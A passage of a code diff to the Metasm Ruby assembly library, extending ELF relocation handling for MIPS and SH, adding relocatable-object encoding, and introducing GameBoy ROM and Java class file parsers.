+    if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and
       s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr }
       @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true)
     end
@@ -541,15 +594,14 @@ class ELF
     when 'GLOB_DAT', 'JMP_SLOT', '32', 'PC32', 'TLS_TPOFF', 'TLS_TPOFF32'
       # XXX use versionned version
       # lazy jmp_slot ?
-      target = 0
-      target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name
+      target = reloc_target(reloc)
       target = Expression[target, :-, reloc.offset] if reloc.type == 'PC32'
       target = Expression[target, :+, addend] if addend and addend != 0
       target = Expression[target, :+, 'tlsoffset'] if reloc.type == 'TLS_TPOFF'
       target = Expression[:-, [target, :+, 'tlsoffset']] if reloc.type == 'TLS_TPOFF32'
     when 'COPY'
       # mark the address pointed as a copy of the relocation target
-      if not reloc.symbol or not name = reloc.symbol.name
+      if not reloc.symbol.kind_of?(Symbol) or not name = reloc.symbol.name
         puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE
         name = ''
       end
@@ -567,24 +619,40 @@ class ELF
   # returns the Metasm::Relocation that should be applied for reloc
   # self.encoded.ptr must point to the location that will be relocated (for implicit addends)
   def arch_decode_segments_reloc_mips(reloc)
-    if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and
+    if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and
       s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr }
       @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true)
     end
 
+    original_word = decode_word
+
     # decode addend if needed
     case reloc.type
     when 'NONE' # no addend
-    else addend = reloc.addend || decode_sword
+    else addend = reloc.addend || Expression.make_signed(original_word, 32)
     end
 
     case reloc.type
     when 'NONE'
     when '32', 'REL32'
-      target = 0
-      target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name
+      target = reloc_target(reloc)
       target = Expression[target, :-, reloc.offset] if reloc.type == 'REL32'
       target = Expression[target, :+, addend] if addend and addend != 0
+    when '26'
+      target = reloc_target(reloc)
+      addend &= 0x3ff_ffff
+      target = Expression[target, :+, [addend, :<<, 2]] if addend and addend != 0
+      target = Expression[[original_word, :&, 0xfc0_0000], :|, [[target, :&, 0x3ff_ffff], :>>, 2]]
+    when 'HI16'
+      target = reloc_target(reloc)
+      addend &= 0xffff
+      target = Expression[target, :+, [addend, :<<, 16]] if addend and addend != 0
+      target = Expression[[original_word, :&, 0xffff_0000], :|, [[target, :>>, 16], :&, 0xffff]]
+    when 'LO16'
+      target = reloc_target(reloc)
+      addend &= 0xffff
+      target = Expression[target, :+, addend] if addend and addend != 0
+      target = Expression[[original_word, :&, 0xffff_0000], :|, [target, :&, 0xffff]]
     else
       puts "W: Elf: unhandled MIPS reloc #{reloc.inspect}" if $VERBOSE
       target = nil
@@ -596,7 +664,7 @@ class ELF
   # returns the Metasm::Relocation that should be applied for reloc
   # self.encoded.ptr must point to the location that will be relocated (for implicit addends)
   def arch_decode_segments_reloc_x86_64(reloc)
-    if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and
+    if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and
       s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr }
       @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true)
     end
@@ -627,14 +695,13 @@ class ELF
     when 'GLOB_DAT', 'JMP_SLOT', '64', 'PC64', '32', 'PC32'
       # XXX use versionned version
       # lazy jmp_slot ?
-      target = 0
-      target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name
+      target = reloc_target(reloc)
       target = Expression[target, :-, reloc.offset] if reloc.type == 'PC64' or reloc.type == 'PC32'
       target = Expression[target, :+, addend] if addend and addend != 0
       sz = :u32 if reloc.type == '32' or reloc.type == 'PC32'
     when 'COPY'
       # mark the address pointed as a copy of the relocation target
-      if not reloc.symbol or not name = reloc.symbol.name
+      if not reloc.symbol.kind_of?(Symbol) or not name = reloc.symbol.name
         puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE
         name = ''
       end
@@ -649,6 +716,33 @@ class ELF
     Metasm::Relocation.new(Expression[target], sz, @endianness) if target
   end
 
+  def arch_decode_segments_reloc_sh(reloc)
+    if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and
+      s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr }
+      @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true)
+    end
+
+    original_word = decode_word
+
+    # decode addend if needed
+    case reloc.type
+    when 'NONE' # no addend
+    else addend = reloc.addend || Expression.make_signed(original_word, 32)
+    end
+
+    case reloc.type
+    when 'NONE'
+    when 'GLOB_DAT', 'JMP_SLOT'
+      target = reloc_target(reloc)
+      target = Expression[target, :+, addend] if addend and addend != 0
+    else
+      puts "W: Elf: unhandled SH reloc #{reloc.inspect}" if $VERBOSE
+      target = nil
+    end
+
+    Metasm::Relocation.new(Expression[target], :u32, @endianness) if target
+  end
+
   class DwarfDebug
     # decode a DWARF2 'compilation unit'
     def decode(elf, info, abbrev, str)
@@ -749,12 +843,13 @@ class ELF
   end
 
   # decodes the ELF dynamic tags, interpret them, and decodes symbols and relocs
-  def decode_segments_dynamic
+  def decode_segments_dynamic(decode_relocs=true)
     return if not dynamic = @segments.find { |s| s.type == 'DYNAMIC' }
     @encoded.ptr = add_label('dynamic_tags', dynamic.vaddr)
     decode_tags
     decode_segments_tags_interpret
     decode_segments_symbols
+    return if not decode_relocs
     decode_segments_relocs
     decode_segments_relocs_interpret
   end
@@ -783,6 +878,7 @@ class ELF
 
   # decodes sections, interprets symbols/relocs, fills sections.encoded
   def decode_sections
+    @symbols.clear	# the NULL symbol is explicit in the symbol table
     decode_sections_symbols
     decode_sections_relocs
     @sections.each { |s|
@@ -804,7 +900,7 @@ class ELF
   end
 
   def decode_exports
-    decode_segments_dynamic
+    decode_segments_dynamic(false)
   end
 
   # decodes the elf header, and depending on the elf type, decode segments or sections
@@ -819,12 +915,14 @@ class ELF
 
   def each_section
     @segments.each { |s| yield s.encoded, s.vaddr if s.type == 'LOAD' }
-           return if @header.type != 'REL'
+    return if @header.type != 'REL'
     @sections.each { |s|
       next if not s.encoded
-      l = new_label(s.name)
-      s.encoded.add_export l, 0
-             yield s.encoded, l
+      if not l = s.encoded.inv_export[0] or l != s.name.tr('^a-zA-Z0-9_', '_')
+        l = new_label(s.name)
+        s.encoded.add_export l, 0
+      end
+      yield s.encoded, l
     }
   end
 
@@ -833,9 +931,12 @@ class ELF
     case @header.machine
     when 'X86_64'; X86_64.new
     when '386'; Ia32.new
-    when 'MIPS'; MIPS.new @endianness
+    when 'MIPS'; (@header.flags.include?('32BITMODE') ? MIPS64 : MIPS).new @endianness
     when 'PPC'; PPC.new
     when 'ARM'; ARM.new
+    when 'SH'; Sh4.new
+    when 'ARC_COMPACT'; ARC.new
+    when 'MSP430'; MSP430.new
     else raise "unsupported cpu #{@header.machine}"
     end
   end
@@ -912,6 +1013,13 @@ EOC
         (d.address_binding[s.value] ||= {})[:$t9] ||= Expression[s.value]
       }
       d.function[:default] = @cpu.disassembler_default_func
+    when 'sh4'
+      noret = DecodedFunction.new
+      noret.noreturn = true
+      %w[__stack_chk_fail abort exit].each { |fn|
+        d.function[Expression[fn]] = noret
+      }
+      d.function[:default] = @cpu.disassembler_default_func
     end
     d
   end
diff --git a/lib/metasm/metasm/exe_format/elf_encode.rb b/lib/metasm/metasm/exe_format/elf_encode.rb
index 046a9c4a07..ae847983df 100644
--- a/lib/metasm/metasm/exe_format/elf_encode.rb
+++ b/lib/metasm/metasm/exe_format/elf_encode.rb
@@ -20,10 +20,10 @@ class ELF
       @phoff     ||= elf.segments.empty? ? 0 : elf.new_label('phdr')
       @shoff     ||= elf.sections.length <= 1 ? 0 : elf.new_label('shdr')
       @flags     ||= []
-      @ehsize    ||= Header.size(elf)
-      @phentsize ||= Segment.size(elf)
+      @ehsize    ||= Header.sizeof(elf)
+      @phentsize ||= Segment.sizeof(elf)
       @phnum     ||= elf.segments.length
-      @shentsize ||= Section.size(elf)
+      @shentsize ||= Section.sizeof(elf)
       @shnum     ||= elf.sections.length
 
       super(elf)
@@ -47,8 +47,8 @@ class ELF
     # defines the @name_p field from @name and elf.section[elf.header.shstrndx]
     # creates .shstrtab if needed
     def make_name_p elf
-      return 0 if not name or @name == ''
-      if elf.header.shstrndx.to_i == 0
+      return 0 if not name or @name == '' or elf.header.shnum == 0
+      if elf.header.shstrndx.to_i == 0 or not elf.sections[elf.header.shstrndx]
         sn = Section.new
         sn.name = '.shstrtab'
         sn.type = 'STRTAB'
@@ -140,6 +140,9 @@ class ELF
     srank = rank[s]
     nexts = @sections.find { |sec| rank[sec] > srank }	# find section with rank superior
     nexts = nexts ? @sections.index(nexts) : -1		# if none, last
+    if @header.shstrndx.to_i != 0 and nexts != -1 and @header.shstrndx >= nexts
+      @header.shstrndx += 1
+    end
     @sections.insert(nexts, s)				# insert section
   end
 
@@ -196,6 +199,8 @@ class ELF
 
   # encodes the symbol dynamic hash table in the .hash section, updates the HASH tag
   def encode_hash
+    return if @symbols.length <= 1
+
     if not hash = @sections.find { |s| s.type == 'HASH' }
       hash = Section.new
       hash.name = '.hash'
@@ -236,11 +241,13 @@ class ELF
   # encodes the symbol table
   # should have a stable self.sections array (only append allowed after this step)
   def encode_segments_symbols(strtab)
+    return if @symbols.length <= 1
+
     if not dynsym = @sections.find { |s| s.type == 'DYNSYM' }
       dynsym = Section.new
       dynsym.name = '.dynsym'
       dynsym.type = 'DYNSYM'
-      dynsym.entsize = Symbol.size(self)
+      dynsym.entsize = Symbol.sizeof(self)
       dynsym.addralign = 4
       dynsym.flags = ['ALLOC']
       dynsym.info = @symbols[1..-1].find_all { |s| s.bind == 'LOCAL' }.length + 1
@@ -251,7 +258,7 @@ class ELF
     @symbols.each { |s| dynsym.encoded << s.encode(self, strtab.encoded) }	# needs all section indexes, as will be in the final section header
 
     @tag['SYMTAB'] = label_at(dynsym.encoded, 0)
-    @tag['SYMENT'] = Symbol.size(self)
+    @tag['SYMENT'] = Symbol.sizeof(self)
 
     encode_check_section_size dynsym
 
@@ -261,7 +268,7 @@ class ELF
   # encodes the relocation tables
   # needs a complete self.symbols array
   def encode_segments_relocs
-    return if not @relocations
+    return if not @relocations or @relocations.empty?
 
     arch_preencode_reloc_func = "arch_#{@header.machine.downcase}_preencode_reloc"
     send arch_preencode_reloc_func if respond_to? arch_preencode_reloc_func
@@ -287,7 +294,7 @@ class ELF
       @tag['JMPREL'] = label_at(relplt.encoded, 0)
       @tag['PLTRELSZ'] = relplt.encoded.virtsize
       @tag['PLTREL'] = relplt.type = stype
-      @tag[stype + 'ENT']  = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.size(self) : RelocationAddend.size(self))
+      @tag[stype + 'ENT']  = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.sizeof(self) : RelocationAddend.sizeof(self))
       encode_check_section_size relplt
     end
 
@@ -305,13 +312,13 @@ class ELF
         rel.name = '.rel.dyn'
         rel.type = 'REL'
         rel.flags = ['ALLOC']
-        rel.entsize = rel.addralign = Relocation.size(self)
+        rel.entsize = rel.addralign = Relocation.sizeof(self)
         encode_add_section rel
       end
       rel.encoded = EncodedData.new
       list.each { |r| rel.encoded << r.encode(self) }
       @tag['REL'] = label_at(rel.encoded, 0)
-      @tag['RELENT'] = Relocation.size(self)
+      @tag['RELENT'] = Relocation.sizeof(self)
       @tag['RELSZ'] = rel.encoded.virtsize
       encode_check_section_size rel
     end
@@ -323,13 +330,13 @@ class ELF
         rela.name = '.rela.dyn'
         rela.type = 'RELA'
         rela.flags = ['ALLOC']
-        rela.entsize = rela.addralign = RelocationAddend.size(self)
+        rela.entsize = rela.addralign = RelocationAddend.sizeof(self)
         encode_add_section rela
       end
       rela.encoded = EncodedData.new
       list.each { |r| rela.encoded << r.encode(self) }
       @tag['RELA'] = label_at(rela.encoded, 0)
-      @tag['RELAENT'] = RelocationAddend.size(self)
+      @tag['RELAENT'] = RelocationAddend.sizeof(self)
       @tag['RELASZ'] = rela.encoded.virtsize
       encode_check_section_size rela
     end
@@ -337,6 +344,8 @@ class ELF
 
   # creates the .plt/.got from the @relocations
   def arch_386_preencode_reloc
+    return if @relocations.empty?
+
     # if .got.plt does not exist, the dynamic loader segfaults
     if not gotplt = @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got.plt' }
       gotplt = Section.new
@@ -358,7 +367,7 @@ class ELF
       when 'PC32'
         next if not r.symbol
 
-               if r.symbol.type != 'FUNC'
+        if r.symbol.type != 'FUNC'
           # external data xref: generate a GOT entry
           # XXX reuse .got.plt ?
           if not got ||= @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got' }
@@ -385,7 +394,7 @@ class ELF
           else
             @relocations.delete r
           end
-    
+
           # prevoffset is label_section_start + int_section_offset
           target_s = @sections.find { |s| s.encoded and s.encoded.export[prevoffset.lexpr] == 0 }
           rel = target_s.encoded.reloc[prevoffset.rexpr]
@@ -411,12 +420,12 @@ class ELF
         #
         # [.got.plt header]
         # dd _DYNAMIC
-        # dd 0 				# rewritten to GOTPLT? by ld-linux
+        # dd 0				# rewritten to GOTPLT? by ld-linux
         # dd 0				# rewritten to dlresolve_inplace by ld-linux
         #
         # [.got.plt + func_got_offset]
         # dd some_func_got_default	# lazily rewritten to the real addr of some_func by jmp dlresolve_inplace
-        # 				# base_relocated ?
+        #				# base_relocated ?
 
         # in the PIC case, _dlresolve imposes us to use the ebx register (which may not be saved by the calling function..)
         # also geteip trashes eax, which may interfere with regparm(3)
@@ -448,7 +457,7 @@ class ELF
           plt.encoded << shellcode["jmp [#{base} + #{gotplt.encoded.length}]"]
           plt.encoded.add_export r.symbol.name+'_plt_default', plt.encoded.length
           reloffset = @relocations.find_all { |rr| rr.type == 'JMP_SLOT' }.length
-          reloffset *= Relocation.size(self) if @bitsize == 32
+          reloffset *= Relocation.sizeof(self) if @bitsize == 32
           plt.encoded << shellcode["push #{reloffset}\njmp metasm_plt_start"]
 
           # transform the reloc PC32 => JMP_SLOT
@@ -531,7 +540,7 @@ class ELF
 
         # fill these later, but create the base relocs now
         arch_create_reloc_func = "arch_#{@header.machine.downcase}_create_reloc"
-        next if not respond_to?(arch_create_reloc_func) 
+        next if not respond_to?(arch_create_reloc_func)
         curaddr = label_at(@encoded, 0, 'elf_start')
         fkbind = {}
         @sections.each { |s|
@@ -557,6 +566,9 @@ class ELF
 
     encode_check_section_size strtab
 
+    # rm unused tag (shrink .nointerp binaries by allowing to skip the section entirely)
+    @tag.delete('STRTAB') if strtab.encoded.length == 1
+
     # XXX any order needed ?
     @tag.keys.each { |k|
       case k
@@ -581,7 +593,7 @@ class ELF
         encode_tag[k, @tag[k]]
       end
     }
-    encode_tag['NULL', @tag['NULL'] || 0]
+    encode_tag['NULL', @tag['NULL'] || 0] unless @tag.empty?
 
     encode_check_section_size dynamic
   end
@@ -598,17 +610,13 @@ class ELF
     @sections.each { |s|
       next if not s.encoded
       s.encoded.reloc.each_value { |r|
-        t = Expression[r.target.reduce]
-        if t.op == :+ and t.rexpr.kind_of? Expression and t.rexpr.op == :- and not t.rexpr.lexpr and
-            t.rexpr.rexpr.kind_of?(::String) and t.lexpr.kind_of?(::String)
-          symname = t.lexpr
-        else
-          symname = t.reduce_rec
-        end
-        next if not dll = autoexports[symname]
+        et = r.target.externals
+        extern = et.find_all { |name| autoexports[name] }
+        next if extern.length != 1
+        symname = extern.first
         if not @symbols.find { |sym| sym.name == symname }
           @tag['NEEDED'] ||= []
-          @tag['NEEDED'] |= [dll]
+          @tag['NEEDED'] |= [autoexports[symname]]
           sym = Symbol.new
           sym.shndx = 'UNDEF'
           sym.type = 'FUNC'
@@ -737,6 +745,55 @@ class ELF
     @relocations << r
   end
 
+  def arch_mips_create_reloc(section, off, binding, rel=nil)
+    rel ||= section.encoded.reloc[off]
+    startaddr = label_at(@encoded, 0)
+    r = Relocation.new
+    r.offset = Expression[label_at(section.encoded, 0, 'sect_start'), :+, off]
+    if Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer)
+      # this location is relative to the base load address of the ELF
+      r.type = 'REL32'
+    else
+      et = rel.target.externals
+      extern = et.find_all { |name| not binding[name] }
+      if extern.length != 1
+        puts "ELF: mips_create_reloc: ignoring reloc #{rel.target} in #{section.name}: #{extern.inspect} unknown" if $VERBOSE
+        return
+      end
+      if not sym = @symbols.find { |s| s.name == extern.first }
+        puts "ELF: mips_create_reloc: ignoring reloc #{rel.target} in #{section.name}: undefined symbol #{extern.first}" if $VERBOSE
+        return
+      end
+      r.symbol = sym
+      if Expression[rel.target, :-, sym.name].bind(binding).reduce.kind_of?(::Integer)
+        rel.target = Expression[rel.target, :-, sym.name]
+        r.type = '32'
+      elsif Expression[rel.target, :&, 0xffff0000].reduce.kind_of?(::Integer)
+        lo = Expression[rel.target, :&, 0xffff].reduce
+        lo = lo.lexpr if lo.kind_of?(Expression) and lo.op == :& and lo.rexpr == 0xffff
+        if lo.kind_of?(Expression) and lo.op == :>> and lo.rexpr == 16
+          r.type = 'HI16'
+          rel.target = Expression[rel.target, :&, 0xffff0000]
+          # XXX offset ?
+        elsif lo.kind_of?(String) or (lo.kind_of(Expression) and lo.op == :+)
+          r.type = 'LO16'
+          rel.target = Expression[rel.target, :&, 0xffff0000]
+          # XXX offset ?
+        else
+          puts "ELF: mips_create_reloc: ignoring reloc #{lo}: cannot find matching 16 reloc type" if $VERBOSE
+          return
+        end
+      #elsif Expression[rel.target, :+, label_at(section.encoded, 0)].bind(section.encoded.binding).reduce.kind_of? ::Integer
+      #	rel.target = Expression[[rel.target, :+, label_at(section.encoded, 0)], :+, off]
+      #	r.type = 'PC32'
+      else
+        puts "ELF: mips_create_reloc: ignoring reloc #{sym.name} + #{rel.target}: cannot find matching standard reloc type" if $VERBOSE
+        return
+      end
+    end
+    @relocations << r
+  end
+
   # resets the fields of the elf headers that should be recalculated, eg phdr offset
   def invalidate_header
     @header.shoff = @header.shnum = nil
@@ -817,9 +874,13 @@ class ELF
         end
 
     if @header.type == 'REL'
-      raise 'ET_REL encoding not supported atm, come back later'
+      encode_rel
+    else
+      encode_elf
     end
+  end
 
+  def encode_elf
     @encoded = EncodedData.new
     if @header.type != 'EXEC' or @segments.find { |i| i.type == 'INTERP' }
       # create a .dynamic section unless we are an ET_EXEC with .nointerp
@@ -870,7 +931,7 @@ class ELF
     end
 
     # add dynamic segment
-    if ds = @sections.find { |sec| sec.type == 'DYNAMIC' }
+    if ds = @sections.find { |sec| sec.type == 'DYNAMIC' } and ds.encoded.length > 1
       ds.set_default_values self
       seg = Segment.new
       seg.type = 'DYNAMIC'
@@ -979,6 +1040,36 @@ class ELF
     @encoded.data
   end
 
+  def encode_rel
+    @encoded = EncodedData.new
+    automagic_symbols
+    create_relocations
+
+    @header.phoff = @header.phnum = @header.phentsize = 0
+    @header.entry = 0
+    @sections.each { |sec| sec.addr = 0 }
+    st = @sections.inject(EncodedData.new) { |edata, sec| edata << sec.encode(self) }
+
+    binding = {}
+    @encoded << @header.encode(self)
+    @encoded.align 8
+
+    binding[@header.shoff] = @encoded.length
+    @encoded << st
+    @encoded.align 8
+
+    @sections.each { |sec|
+      next if not sec.encoded
+      binding[sec.offset] = @encoded.length
+      sec.encoded.fixup sec.encoded.binding
+      @encoded << sec.encoded
+      @encoded.align 8
+    }
+
+    @encoded.fixup! binding
+    @encoded.data
+  end
+
   def parse_init
     # allow the user to specify a section, falls back to .text if none specified
     if not defined? @cursource or not @cursource
diff --git a/lib/metasm/metasm/exe_format/gb.rb b/lib/metasm/metasm/exe_format/gb.rb
new file mode 100644
index 0000000000..c6b39d182e
--- /dev/null
+++ b/lib/metasm/metasm/exe_format/gb.rb
@@ -0,0 +1,65 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/exe_format/main'
+require 'metasm/encode'
+require 'metasm/decode'
+
+
+module Metasm
+# GameBoy ROM file format
+class GameBoyRom < ExeFormat
+  class Header < SerialStruct
+    # starts at 0x104 in the file
+    mem :logo, 0x30
+    str :title, 0x10
+    byte :sgb_flag
+    byte :cartridge_type
+    byte :rom_size	# n => (n+1) * 32k bytes
+    byte :ram_size
+    byte :destination_code
+    byte :old_licensee_code
+    byte :mask_rom_version
+    byte :header_checksum
+    byte :checksum_hi
+    byte :checksum_lo
+  end
+
+  def encode_byte(val) Expression[val].encode(:u8,  @endianness) end
+  def decode_byte(edata = @encoded) edata.decode_imm(:u8,  @endianness) end
+  def sizeof_byte ; 1 ; end
+
+
+  attr_accessor :header
+
+  def initialize(cpu=nil)
+    @endianness = (cpu ? cpu.endianness : :little)
+    super(cpu)
+  end
+
+  def decode_header
+    @encoded.ptr = 0x104
+    @header = Header.decode(self)
+  end
+
+  def decode
+    decode_header
+    @encoded.add_export('entrypoint', 0x100)
+  end
+
+  def cpu_from_headers
+    Z80.new('gb')
+  end
+
+  def each_section
+    yield @encoded, 0
+  end
+
+  def get_default_entrypoints
+    ['entrypoint']
+  end
+end
+end
diff --git a/lib/metasm/metasm/exe_format/javaclass.rb b/lib/metasm/metasm/exe_format/javaclass.rb
new file mode 100644
index 0000000000..f709b7ddac
--- /dev/null
+++ b/lib/metasm/metasm/exe_format/javaclass.rb
@@ -0,0 +1,424 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/exe_format/main'
+require 'metasm/encode'
+require 'metasm/decode'
+
+module Metasm
+
+class JavaClass < ExeFormat
+  MAGIC = "\xCA\xFE\xBA\xBE"
+
+  CONSTANT_TAG = {0x1 => 'Utf8',   0x3 => 'Integer',
+      0x4 => 'Float',  0x5 => 'Long',
+      0x6 => 'Double', 0x7 => 'Class',
+      0x8 => 'String', 0x9 => 'Fieldref',
+      0xa => 'Methodref', 0xb => 'InterfaceMethodref',
+      0xc => 'NameAndType' }
+
+  class SerialStruct < Metasm::SerialStruct
+    new_int_field :u1, :u2, :u4
+  end
+
+  class Header < SerialStruct
+    mem :magic, 4, MAGIC
+    u2 :minor_version
+    u2 :major_version
+  end
+
+  class ConstantPool < SerialStruct
+    u2 :constant_pool_count
+    attr_accessor :constant_pool
+
+    def decode(c)
+      super(c)
+
+      @constant_pool = [nil]
+
+      i = 1
+      while i < @constant_pool_count
+        entry = ConstantPoolInfo.decode(c)
+        entry.idx = i
+        @constant_pool << entry
+        i += 1
+
+        if entry.tag =~ /Long|Double/
+          # we must insert a phantom cell
+          # for long and double constants
+          @constant_pool << nil
+          i += 1
+        end
+      end
+    end
+
+    def encode(c)
+      cp = super(c)
+
+      @constant_pool.each { |entry|
+        next if entry.nil?
+        cp << entry.encode(c)
+      }
+      cp
+    end
+
+    def [](idx)
+      @constant_pool[idx]
+    end
+
+    def []=(idx, val)
+      raise 'cannot be used to add a cp entry' if @constant_pool[idx].nil?
+      @constant_pool[idx] = val
+    end
+  end
+
+  class ConstantPoolInfo < SerialStruct
+    u1 :tag
+    fld_enum :tag, CONSTANT_TAG
+    attr_accessor :info, :idx
+
+    def decode(c)
+      super(c)
+
+      case @tag
+      when 'Utf8'
+        @info = ConstantUtf8.decode(c)
+      when /Integer|Float/
+        @info = ConstantIntFloat.decode(c)
+      when /Long|Double/
+        @info = ConstantLongDouble.decode(c)
+      when /Class|String/
+        @info = ConstantIndex.decode(c)
+      when /ref$/
+        @info = ConstantRef.decode(c)
+      when 'NameAndType'
+        @info = ConstantNameAndType.decode(c)
+      else
+        raise 'unkown constant tag'
+        return
+      end
+    end
+
+    def encode(c)
+      super(c) << @info.encode(c)
+    end
+  end
+
+  class ConstantUtf8 < SerialStruct
+    u2 :length
+    attr_accessor :bytes
+
+    def decode(c)
+      super(c)
+      @bytes = c.encoded.read(@length)
+    end
+
+    def encode(c)
+      super(c) << @bytes
+    end
+  end
+
+  class ConstantIntFloat < SerialStruct
+    u4 :bytes
+  end
+
+  class ConstantLongDouble < SerialStruct
+    u4 :high_bytes
+    u4 :low_bytes
+  end
+
+  class ConstantIndex < SerialStruct
+    u2 :index
+  end
+
+  class ConstantRef < SerialStruct
+    u2 :class_index
+    u2 :name_and_type_index
+  end
+
+  class ConstantNameAndType < SerialStruct
+    u2 :name_index
+    u2 :descriptor_index
+  end
+
+  class ClassInfo < SerialStruct
+    u2 :access_flags
+    u2 :this_class
+    u2 :super_class
+  end
+
+  class Interfaces < SerialStruct
+    u2 :interfaces_count
+    attr_accessor :interfaces
+
+    def decode(c)
+      super(c)
+
+      @interfaces = []
+      @interfaces_count.times {
+        @interfaces << ConstantIndex.decode(c)
+      }
+    end
+
+    def encode(c)
+      ret = super(c)
+
+      @interfaces.each { |e|
+        ret << e.encode(c)
+      }
+      ret
+    end
+
+    def [](idx)
+      @interfaces[idx]
+    end
+  end
+
+  class Fields < SerialStruct
+    u2 :fields_count
+    attr_accessor :fields
+
+    def decode(c)
+      super(c)
+      @fields = []
+      @fields_count.times {
+        @fields << FieldMethodInfo.decode(c)
+      }
+    end
+
+    def encode(c)
+      ret = super(c)
+
+      @fields.each { |e|
+        ret << e.encode(c)
+      }
+      ret
+    end
+
+    def [](idx)
+      @fields[idx]
+    end
+  end
+
+  class Methods < SerialStruct
+    u2 :methods_count
+    attr_accessor :methods
+
+    def decode(c)
+      super(c)
+      @methods = []
+      @methods_count.times {
+        @methods << FieldMethodInfo.decode(c)
+      }
+    end
+
+    def encode(c)
+      ret = super(c)
+
+      @methods.each { |e|
+        ret << e.encode(c)
+      }
+      ret
+    end
+
+    def [](idx)
+      @methods[idx]
+    end
+  end
+
+  class FieldMethodInfo < SerialStruct
+    u2 :access_flags
+    u2 :name_index
+    u2 :descriptor_index
+    attr_accessor :attributes
+
+    def decode(c)
+      super(c)
+      @attributes = Attributes.decode(c)
+    end
+
+    def encode(c)
+      super(c) << @attributes.encode(c)
+    end
+  end
+
+  class Attributes < SerialStruct
+    u2 :attributes_count
+    attr_accessor :attributes
+
+    def decode(c)
+      super(c)
+
+      @attributes = []
+      @attributes_count.times { |i|
+        @attributes << AttributeInfo.decode(c)
+      }
+    end
+
+    def encode(c)
+      ret = super(c)
+
+      @attributes.each { |e|
+        ret << e.encode(c)
+      }
+      ret
+    end
+
+    def [](idx)
+      @attributes[idx]
+    end
+  end
+
+  class AttributeInfo < SerialStruct
+    u2 :attribute_name_index
+    u4 :attribute_length
+    attr_accessor :data
+
+    def decode(c)
+      super(c)
+      @data = c.encoded.read(@attribute_length)
+    end
+
+    def encode(c)
+      super(c) << @data
+    end
+  end
+
+  def encode_u1(val) Expression[val].encode(:u8, @endianness) end
+  def encode_u2(val) Expression[val].encode(:u16, @endianness) end
+  def encode_u4(val) Expression[val].encode(:u32, @endianness) end
+  def decode_u1(edata = @encoded) edata.decode_imm(:u8, @endianness) end
+  def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end
+  def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end
+  def sizeof_u1 ; 1 ; end
+  def sizeof_u2 ; 2 ; end
+  def sizeof_u4 ; 4 ; end
+
+  attr_accessor :header, :constant_pool, :class_info, :interfaces, :fields, :methods, :attributes
+
+  def initialize(endianness=:big)
+    @endianness = endianness
+    @encoded = EncodedData.new
+    super()
+  end
+
+  def decode
+    @header = Header.decode(self)
+    @constant_pool = ConstantPool.decode(self)
+    @class_info = ClassInfo.decode(self)
+    @interfaces = Interfaces.decode(self)
+    @fields = Fields.decode(self)
+    @methods = Methods.decode(self)
+    @attributes = Attributes.decode(self)
+  end
+
+  def encode
+    @encoded = EncodedData.new
+    @encoded << @header.encode(self)
+    @encoded << @constant_pool.encode(self)
+    @encoded << @class_info.encode(self)
+    @encoded << @interfaces.encode(self)
+    @encoded << @fields.encode(self)
+    @encoded << @methods.encode(self)
+    @encoded << @attributes.encode(self)
+    @encoded.data
+  end
+
+  def cpu_from_headers
+    raise 'JVM'
+  end
+
+  def each_section
+    raise 'n/a'
+  end
+
+  def get_default_entrypoints
+    []
+  end
+
+  def string_at(idx)
+    loop do
+      tmp = @constant_pool[idx].info
+      return tmp.bytes if tmp.kind_of? ConstantUtf8
+      idx = tmp.index
+    end
+  end
+
+  def decode_methodref(mref)
+    class_idx = mref.info.class_index
+    nt_idx = mref.info.name_and_type_index
+    name_idx = @constant_pool[nt_idx].info.name_index
+    desc_idx = @constant_pool[nt_idx].info.descriptor_index
+
+    string_at(class_idx) + '/' + string_at(name_idx) + string_at(desc_idx)
+  end
+
+  def cp_add(cpi, tag)
+    cpe = ConstantPoolInfo.new
+    cpe.tag = tag
+    cpe.info = cpi
+    cpe.idx = @constant_pool.constant_pool_count
+
+    @constant_pool.constant_pool << cpe
+    @constant_pool.constant_pool_count += 1
+    @constant_pool.constant_pool_count += 1 if tag =~ /Long|Double/
+
+    cpe.idx
+  end
+
+  def cp_find(tag)
+    constant_pool.constant_pool.each { |e|
+      next if !e or e.tag != tag
+      if yield(e.info)
+        return e.idx
